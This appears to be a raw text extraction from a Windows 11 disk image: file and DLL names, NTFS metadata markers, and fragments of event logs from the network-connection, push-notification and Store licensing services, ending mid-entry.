WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked DWindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.dll FWindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.winmd WINDOW~1.SUG MSFT_NetLbfoTeam.format.ps1xml MSFT_NetLbfoTeam.format.ps1xml MSFT_N~1.PS1 MSFT_NetLbfoTeam.format.ps1xml $DSC extApps.xml MSFT_NetLbfoTeam.format.ps1xml MSFT_N~1.PS1 MSFT_NetLbfoTeam.format.ps1xml $DSC WofCompressedData $DSC $MSFT_NetLbfoTeamMember.format.ps1xml WofCompressedData $DSC $MSFT_NetLbfoTeamMember.format.ps1xml MSFT_N~2.PS1 MSFT_NetLbfoTeamMember.format.ps1xml WofCompressedData $DSC USER~1.CON user.config WofCompressedData $DSC !MSFT_NetLbfoTeamNic.format.ps1xml WofCompressedData $DSC !MSFT_NetLbfoTeamNic.format.ps1xml MSFT_N~3.PS1 MSFT_NetLbfoTeamNic.format.ps1xml WofCompressedData $DSC roaming.lock ROAMIN~1.LOC settings.dat settings.dat.LOG1 settings.dat.LOG2 SETTIN~1.LOG SETTIN~2.LOG Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Security-Mitigations Microsoft-Windows-Security-Mitigations/KernelMode EventData Data ProcessPathLength ProcessPath ProcessCommandLineLength ProcessCommandLine CallingProcessId CallingProcessCreateTime CallingProcessStartKey CallingProcessSignatureLevel #CallingProcessSectionSignatureLevel CallingProcessProtection CallingThreadId CallingThreadCreateTime ChildImagePathNameLength ChildImagePathName ChildCommandLineLength ChildCommandLine 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe C:\WINDOWS\System32\spoolsv.exe C:\WINDOWS\system32\regsvr32.exe]C:\WINDOWS\system32\regsvr32.exe /s "C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll" WofCompressedData $DSC MDMPOS~1.DLL $DSC MDMPOS~1.DLL mdmpostprocessevaluator.dll $DSC $DSC MDMREG~1.DLL mdmregistration.dll0 mdmregistration.dll WofCompressedData $DSC $DSC MDMREG~1.DLL mdmregistration.dll0 mdmregistration.dll WofCompressedData $DSC $DSC WindowsShell.Manifest WINDOW~1.MAN WindowsShell.Manifest $DSC WOW64_~1.MAN wow64_microsoft-onecore-c..rivacysettingsstore_31bf3856ad364e35_10.0.26100.7309_none_ae3fc01bb33584af.manifest $DSC WOW64_~2.MAN wow64_microsoft-onecore-console-host-propsheet_31bf3856ad364e35_10.0.26100.7309_none_c3f8fa06020f7f43.manifest $DSC WOW64_~3.MAN wow64_microsoft-onecore-p..anagement.resources_31bf3856ad364e35_10.0.26100.1_en-us_e26f3dfb002e8af1.manifest $DSC SYSTEM~1.DLL System.ComponentModel.TypeConverter.dll WofCompressedData $DSC SYSTEM~1.DLL System.Configuration.dll WofCompressedData $DSC System.Configuration.dll System.Configuration.dll $DSC System.Configuration.Install.dll System.Configuration.Install.dll WofCompressedData $DSC System.Console.dll System.Console.dll SYSTEM~1.DLL System.Console.dll WofCompressedData $DSC WofCompressedData $DSC System.Core.dll0 System.Core.dll SYSTEM~1.DLL System.Core.dll WofCompressedData $DSC System.Data.Services.Design.dll0 System.Data.Services.Design.dll vices.Design.dll0 System.Data.Services.Design.dll $DSC System.Data.SqlXml.dll System.Data.SqlXml.dll $DSC SYSTEM~1.DLL System.Data.SqlXml.dll WofCompressedData $DSC WofCompressedData $DSC SYSTEM~1.DLL System.Deployment.dll SYSTEM~1.DLL &System.DirectoryServices.Protocols.dll &System.DirectoryServices.Protocols.dll &System.DirectoryServices.Protocols.dll SYSTEM~1.DLL System.DirectoryServices.Protocols.dll WofCompressedData $DSC WofCompressedData $DSC SYSTEM~1.DLL System.Drawing.dll SYSTEM~1.DLL System.Drawing.dll WofCompressedData $DSC WofCompressedData $DSC System.Linq.Queryable.dll $DSC SYSTEM~1.DLL System.Linq.Queryable.dll WofCompressedData $DSC WofCompressedData $DSC System.Management.dll $DSC SYSTEM~1.DLL System.Management.dll WofCompressedData $DSC SYSTEM~1.DLL System.Net.WebSockets.Client.dll WofCompressedData $DSC System.Net.WebSockets.Client.dll System.Net.WebSockets.Client.dll lient.dll System.Net.WebSockets.Client.dll WofCompressedData $DSC SYSTEM~1.DLL $DSC WofCompressedData $DSC System.ni.dll $DSC WofCompressedData $DSC System.Numerics.dll0 System.Numerics.dll SYSTEM~1.DLL System.Numerics.dll WofCompressedData $DSC MICROS~1 Microsoft $I300 CryptnetUrlCache CRYPTN~1 System.Numerics.Vectors.dll0 System.Numerics.Vectors.dll Numerics.Vectors.dll0 System.Numerics.Vectors.dll $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational EventData Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Data Status Name Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational InterfaceGuid MediaType Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational WCM Preferred Order List 0: {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}, Ethernet, 1 Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Reason Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-Wcmsvc Microsoft-Windows-Wcmsvc/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ChannelsExist Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational BatterySaverStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ACPowerChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MonitorSettingChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational OpportunisticConnectedStandbyStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational DeviceId UserId UserType Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational EventData Data Verb TrID Namespace CorrelationVector Bytes Payload ConnectionType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational GroupPolicyValue MDMPolicyValue Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational DeviceId UserId Error Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Status Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ChannelId AppUserModelId ErrorCode 1;9224202963191048905 Microsoft.Windows.PushToInstall Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Object Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational SessionId Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational SessionId Error Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational DeviceId UserId UserType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ChannelsExist Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational PowerEventType IsEnabled BatterySaverStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ACPowerChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MonitorSettingChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational OpportunisticConnectedStandbyStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Object ProcessName C:\Windows\System32\svchost.exe Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Endpoint SessionId Error ProcessName C:\Windows\System32\svchost.exe Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational DeviceId ConnectionType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType OldIndex OldAddressFamily NewIndex NewAddressFamily NewPhysicalMediumType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType HostName Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType ErrorCode Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType HostName Port Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType Error Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational AppUserModelId ErrorCode Windows.Defender.MpUxDlp Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational PackageFullName AppUserModelId AppSettings AppType ErrorCode System Windows.SystemToast.WindowsTip Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational C:\Windows\explorer.exe Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Endpoint SessionId Error ProcessName QueuedTileCloses QueuedTileCleanups C:\Windows\explorer.exe Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational windows.immersivecontrolpanel_cw5n1h2txyewy windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft.SkyDrive.Desktop Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational NotificationType AppUserModelId SessionId ErrorCode SessionErrorCode Microsoft.SkyDrive.Desktop Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft.SkyDrive.Desktop Microsoft.SkyDrive.Desktop Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational KaValueType KaValue KaMinLimit Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational FileRepository $I300 eRepository $I300 el-GR $I300 APHostRes.dll.mui cdosys.dll.mui comctl32.dll.mui SyncRes.dll.mui windows.ui.xaml.dll.mui $I300 AuthFWSnapIn.Resources.dll AuthFWWizFwk.Resources.dll en-GB $I300 comctl32.dll.mui SyncRes.dll.mui windows.ui.xaml.dll.mui en-US $I300 $I30 $I30 dabapi.dll.muim imapi2.dll.mui Ninput.dll.muii $I30 $I30? .dll.mui Licenses $I300 Volume _Default $I300 IoTEnterprise IoTEnterpriseK IOTENT~1 IOTENT~2 Professional PROFES~1 IOTENT~1 IoTEnterprise $I300 license.rtf wbem $I300 $I30 $I30 $TXF_DATA nlsvc.mofy viewprov.dll $I30 $I30? AutoRecover $I300 AutoRecover $I300 $I300 *Microsoft.AppV.AppVClientWmi.resources.dll en-US $I300 mofd.dll.muiass UserStateWMIProvider.mfl $I30 $I30 $TXF_DATA nstall.mfl Logs $I300 Repository $I300 Repository $I300 $I300 $I300 cim20.dtd wmi20.dtd wmi2xml.dll PRESIG~1.JSO PreSignInSettingsConfig.json LOGOLD~1.TMP LOG.old~RF1f056.TMP 78C091~1.TBR 78c091ac6d34daa9d603629dd088840de549030f.tbres $I300 ihmafllikibpmigkcoadcmckbfhibefp IHMAFL~1 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:Initial Key:NegotiatingUnleased 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational RootMachine eRoot:Negotiating Microsoft-Windows-Store Microsoft-Windows-Store/Operational Root:Negotiating Root:Valid RootMachine Microsoft-Windows-Store Microsoft-Windows-Store/Operational No key document found for contentid 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Getting user tickets for S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x80070002 Microsoft-Windows-Store Microsoft-Windows-Store/Operational No user tickets captured for S-1-5-21-3914889805-4071901059-918772286-1001, so this might not end well. HRESULT of WAM call: 0x00000000. Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Store Microsoft-Windows-Store/Operational EventData Data Message Function Source Line Number Identity capture succeeded Microsoft-Windows-Store Microsoft-Windows-Store/Operational Requesting license for 2907b935-0ea5-dca1-85a7-75597491a18b at /v7.0/licenses/content (https://licensing.mp.microsoft.com) (Corr: hR8hEN1TAkGJnnsp.1) Microsoft-Windows-Store Microsoft-Windows-Store/Operational License Response: 0 leases, 0 keys for contentId 2907b935-0ea5-dca1-85a7-75597491a18b (Corr: hR8hEN1TAkGJnnsp.1, Svr: ent-55b6d968b7-hv58f) Microsoft-Windows-Store Microsoft-Windows-Store/Operational Satisfaction error from service: 4096: Users do not possess any satisfying entitlements for the operating system content id in question. (Corr: hR8hEN1TAkGJnnsp.1, Svr: ent-55b6d968b7-hv58f), token broker error: 0x00000000, number of MSA tickets: 0, number of AAD tickets: 0, ContentId: 2907b935-0ea5-dca1-85a7-75597491a18b, PackageFamilyName: (null), ValidExistingKey: False, HResult: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\proxy.cpp(358)\LicenseManager.dll!00007FFC5A515498: (caller: 00007FFC5A50704A) Exception(1) tid(eb8) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Error 0x803f7001 in getting response, not retrying Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\managercore.cpp(1817)\LicenseManager.dll!00007FFC5A5074CB: (caller: 00007FFC5A50DE12) Exception(2) tid(eb8) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational State Machine Thread ID State Machine Name Event Name Current State 2907b935-0ea5-dca1-85a7-75597491a18b eKey:NegotiatingUnleased Microsoft-Windows-Store Microsoft-Windows-Store/Operational Set results for lease = 0x0, policy = 0, operation = 3, Leasebehavior = 0 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\applicensemanager.cpp(447)\LicenseManager.dll!00007FFC5A53F624: (caller: 00007FFC7BAD3663) Exception(4) tid(5e4) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational State Machine Thread ID Current State New State State Machine Name Key:NegotiatingUnleased Key:Initial 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational 2907b935-0ea5-dca1-85a7-75597491a18b dKey:Initial Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:Initial Key:Invalid 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Process Name Module Name Build Name C:\WINDOWS\system32\svchost.exe C:\WINDOWS\SYSTEM32\licensemanagerapi.dll 26100.1.amd64fre.ge_release.240331-1435 Microsoft-Windows-Store Microsoft-Windows-Store/Operational canDisableApps value is 0 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Licensing content 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Licensing 2907b935-0ea5-dca1-85a7-75597491a18b (Active) Microsoft-Windows-Store Microsoft-Windows-Store/Operational 00000214BC981B40: Key Machine for content: 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational RootMachine tRoot:Valid Microsoft-Windows-Store Microsoft-Windows-Store/Operational 2907b935-0ea5-dca1-85a7-75597491a18b eKey:Initial Microsoft-Windows-Store Microsoft-Windows-Store/Operational 00000214BC981B40: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:Initial Key:NegotiatingUnleased 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational No 